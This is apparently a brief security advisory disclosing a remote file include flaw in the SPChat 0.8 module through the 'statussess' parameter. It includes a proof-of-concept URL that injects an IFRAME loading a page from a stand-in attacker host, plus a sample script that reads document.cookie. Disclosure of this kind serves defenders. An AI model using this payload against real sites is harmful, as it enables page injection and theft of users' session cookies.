source: https://www.securityfocus.com/bid/7780/info SPChat has been reported prone to a remote file include vulnerability. The issue presents itself due to insufficient sanitization performed on the user-supplied URI variable 'statussess' by the SPChat module. It is possible for a remote attacker to include a malicious file in a URL. This vulnerability was reported to affect SPChat version 0.8 other versions may also be affected. http://www.example.com/modules.php?op=modload&name=SPChat&file=index&statussess=<IFRAME%20src="http://www.attacker.com/attack.htm"%20marginWidth=0%20marginHeight=0%20fr ameBorder=0%20width=500%20scrolling=yes%20height=500></IFRAME> ----- Source Code For attack.htm for eg. ----- ?script> alert(document.cookie); ?/script> ----- Source Code For attack.htm -----